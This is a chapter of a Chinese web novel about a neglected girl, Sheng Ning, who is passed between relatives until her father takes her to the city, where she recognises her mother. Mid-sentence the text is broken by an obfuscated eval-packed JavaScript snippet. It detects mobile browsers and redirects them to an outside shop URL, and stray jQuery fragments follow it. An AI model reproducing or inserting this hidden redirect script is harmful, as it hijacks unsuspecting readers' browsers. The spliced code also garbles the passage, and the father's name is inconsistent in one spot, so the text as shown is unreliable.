盛凝第一次看见继母时，就觉得她的眼睛很漂亮，很特别。
年轻夫妻的婚姻，在KTV包厢开始，然后相看两厌匆匆结束。在四岁之前大脑发育尚不完全，盛凝的记忆力只有父母无休无止的争吵。
那时的她很奇怪，为什么两个人能有打不完架，吵不完的话题。
上到借钱贷款，下到今天的饭菜不够合胃口，他们似乎总能抓住一个不甚满意的话头，合理开启一场大战，丝毫不顾及幼小的女儿还在一边的沙发上啃着火腿肠，到最后辱骂声打砸声混着盛凝的哭声，家里好不热闹。
于是这场岌岌可危的婚姻只持续到第五年。
在一个平静到连风声都听不见的午后，盛凝坐在院子里看蚂蚁，妈妈揉了揉她含着棒棒糖的小脸，再亲亲她，说：“和妈妈说再见。”
妈妈要干什么去？
盛凝的小脑袋转不过弯来，她想或许是去剪个漂亮的发型，或许是去个无聊的饭局，因为妈妈的自行车还在门口停着，刚买回来的杨梅还在厨房的水池里泡着，一切都象征着无比平常的一天，乃至连点风吹草动都没有。
于是盛凝摆摆小手跟妈妈告别。
她没想到那是她见妈妈的最后一面。
爸爸发现妈妈走后，没说什么话，他习惯于扮演沉默的大多数。
可能因为盛凝是个女孩吧。
爸爸对这个已经千疮百孔的家庭没有任何留恋，他说他要出去闯闯。
不带着盛凝的那种。
所以盛凝被留给奶奶。
奶奶年纪大了眼睛不好，大多数时间在睡觉，听半导体里的戏曲频道，盛凝像个物件一样被倒卖再倒卖，最后她这个拖油瓶就挂在了二婶身上。
爸爸妈妈都走了，家就不再是盛凝的家，她成了寄人篱下的那个小孩。
成年人总把没开智的小孩当傻子看，实际上小孩子心里也很能藏事。
某年夏天，别人送了二叔一箱荔枝，在连城这个北方城市荔枝卖得比肉还贵，那是八十块一斤的妃子笑。
二婶一个都不舍得给盛凝。
“给你，拿去外面吃。”二婶抓一把荔枝塞到堂弟怀里，彼时盛凝还是个在屋里看动画片的小傻子。
这小孩蔫坏，故意剩了两个荔枝带进屋里在盛凝眼前晃。
“想吃吗？”
盛凝盯着两颗红红的诱人宝石，点点头。
“那你求求我。”男孩把手背在后面，一副盛气凌人的模样。
盛凝双手合十在胸前晃了晃，小声说：“求你了求你了。”
男孩又说：“你得跪下求我。”
他比盛凝小两岁，盛凝怎么愿意跪他，她不肯，堂弟就哭，哭声能随机招来奶奶，二叔或者二婶。
不论招来哪一个对盛凝都不是好结果，她也不明白，自己都不要吃了，为什么最后还要挨说挨打，简直得寸进尺。
想着小拳头就攥紧了，迎面给了堂弟一下子。
堂弟被这突如其来的一下子给打蒙了，只会瞪着眼看她，哭都忘了哭。
盛凝惨白着小脸，张着嘴大口呼吸。
她干坏事也心虚，只能强装镇定，学着街上混混那样不好惹的语气，“不许哭了，再哭我还打你！”
这招竟然有效，堂弟真不哭了，为了永绝后患，盛凝拽起他的衣领。
如果非必要，盛凝都不想碰他的衣服，饭菜和辣条在半袖上沾满星星点点的油渍痕迹，脏得要命！
她补充道：“不许告诉你妈，不然只要她不在我就揍你！”
堂弟抽抽鼻子，愣愣地点点头，跟小木偶似的，盛凝见状才把他放开，看着对方蔫吧菜一样出溜就跑了。
于是六岁的盛凝第一次体会到身上长满尖刺的好处，她看着堂弟在逃跑时候掉下一颗荔枝来，红彤彤的果子滚啊滚，滚到墙角。
二婶采取夏天非必要不开空调的政策，屋里又潮又热，人都会热坏啊，更何况水果。
因此在某次忘记将那箱荔枝放进冰箱后，盛凝顺着果子滚落的轨迹在隐匿的墙角看见这个白白的泡沫箱。
她闻到香甜腐败的味道。
在湿涩的夏天，一年中最熟最烂的季节里，门外的树枝长着暴雨过后亮晶晶的花叶，月季汲取死亡鸟类内脏的养分，开出又红又艳的花苞来，比花店里的玫瑰还香软。
盛凝打开箱子，深红到发黑的皮崎岖虬结，苍蝇，蛆虫顺着诱人的味道来品味腐生的美食，如果把皮剥开，就能看见本该是莹润玉白色的果肉变黑变黄，化成一滩脓水，顺着指缝流逝后，留在手掌里的只剩下一颗坚硬的黑核。
她想吐，但没吃东西只会呕出些酸水来，在视觉冲击的下一秒，新的问题又涌上心头——是她打开的箱子，二婶会不会将火都泻在她身上？
后来她发现自己的担心显得很多余，因为这时候奶奶在菜地里摔了一跤，老年人最怕摔跤，这么一摔，院子就挂上了白布。
奶奶不在了，盛凝就显得更多余，她猫在角落看着邻居阿姨穿着丧服围成一圈嗑瓜子，家长里短怎么也逃不过说说盛凝的去留。
别说她们愁，盛凝自己也愁，等堂弟再长两年自己可就打不过他了啊！
二婶没有参选感动中国的打算，所以没有收留盛凝的计划，借着聊闲天明里暗里地敲打二叔叫他给盛凝送走。
眼看两个人说着说着就要吵起来，盛凝低着头，在自己的小凉鞋对面，出现了一双沾着土的布鞋。
然后她爹是怎么进来的？盛凝不记得了，或者是她根本没看见，混乱的记忆是从男人一把拉过她细弱的手腕开始，比起视线，嗅觉先一步识别出那混着机油，尘土还有腐烂的草的熟悉味道，她的爸爸，赐予她一半血液和心跳的人。
“走。”
她爹惜字如金地就给了她一个字。
走，走去哪？
从农村到城市，两个小时的大巴跨越了连城的西北到东南，盛凝一点点看到灰头土脸的山长出了绿色的枝干，好像也在她的心窝里种下了颗种子，等着从贫瘠的土壤里生根发芽，不知道能长出什么样的花来。
背着书包站在灰色水泥柱前，毫无疑问的老破小，楼道贴满了“开锁”，“通下水”或者是更加露骨的小广告，她跟着盛源康噔噔噔爬上六楼，听见盛明康在黑暗里一跺脚，没好气地说：“这破灯又坏了。”
盛凝没有说话，安静地看着他开门，锁孔大概有些生锈，拧起来又涩
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481763|201785||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又硬，要一边拉着门把手一边转钥匙才能打开。
屋里关着灯，进门就能闻到股味道，不好说，大概是泡面酒瓶子旧衣服还有别家做饭时候串过来的煎鱼味，绝对不算好闻。
虽说是两居室，但明显盛凝这间次卧是杂物间收拾出来的，说明接她来连城的决定并非早有打算，奶奶死得突然，盛明康再厚的脸皮也不好意思让女儿白吃白喝弟弟家的，再一合计，自己养应该比给弟弟抚养费更划算，于是盛凝就这么到他身边了。
盛明康在工地干活，那时的建筑行业还残存着最后的余晖，他忙得脚不沾地，中午给盛凝带份工地上十块钱一份的盒饭，晚上他自己做饭吃，的确跟加双筷子没什么区别。
盛凝有时候会看电视，那几部动画片她都会背了，从窗户传来楼下嬉笑的声音，她从楼上往下看，小区里有个小广场，中间还放了滑梯和秋千，晚饭前就有家长带着小孩子来这里玩了，一般都是小朋友们自己约好的时间，带着皮筋跳绳还有摇摇车，清脆的笑声尖锐到能刺破昏蓝的天。
她就每天看着这些孩子们从盛夏玩到初秋，两个月从来也没出去过。
因为爸爸并没留给她钥匙，出去了就没办法回来。
没有钥匙的家，真的是她的家吗？
盛凝看着楼下跑来跑去的流浪小狗，脏兮兮的，突然觉得自己和小狗并没有什么区别，只不过一个在楼房里，一个在楼房外罢了。
九月，盛凝在连城上了一年级，她终于借着放学比她爸下班早的由头，找盛明康索要家门钥匙。
盛明康从腰带上解下一大串叮呤咣啷的累赘，挑挑拣拣把一把小小的铁质钥匙从圆环上解下来给她，盛凝学着同学的样子栓绳套在脖子上，感觉上学路上后背都挺直了几分。
乡下幼儿园就是带着小孩玩，她学汉字拼音都比别人慢一步，从小就显露出几分厌学的征兆，最喜欢的还是美术课。
老师教他们画家庭画，她特别认真，用蜡笔勾勒出太阳草坪大树，再画下爸爸和自己手牵手，最后画纸右边空下一块，盛凝后知后觉想画上妈妈，可一笔也没落下。
小小的女孩梳着乱乱的马尾辫，细软的发尾滑稽地翘起，她的小脸涨得红红的，周围的氧气要凝固住窒息而死——她记不清妈妈的模样了。
这天稀奇，爸爸回来得比盛凝早，一打开门就是排骨的味道，她一下子咧嘴笑了，书包都来不及放下就跑到厨房给盛明康看她的画。
盛明康难得对她笑笑，说话声音混着抽油烟机的噪声，盛凝费了好大劲才听清爸爸说：“画上应该还有妈妈和弟弟才对。”
妈妈……和弟弟？
身后没有声音，盛凝还是借着第六感转头，穿着灰色长裙的女人从爸爸房间里走出来，她的头发又长又亮，散在背后跟瀑布一样，两边的刘海有些遮住眼睛，盛凝只看见她眼熟的下半张脸。
霎时，盛凝瞳孔缩紧，唇瓣嗫嚅两下都没能发出声音，锁在脑海最深处的魔盒在看见那张素丽的脸时突然被打开，把一处又一处模糊的记忆黏合好，盛凝大大的眼睛开始泛红，最后包着一汪泪要掉不掉的。
她一撇嘴，说话委屈巴巴的，朝那个女人喊——
“妈妈。”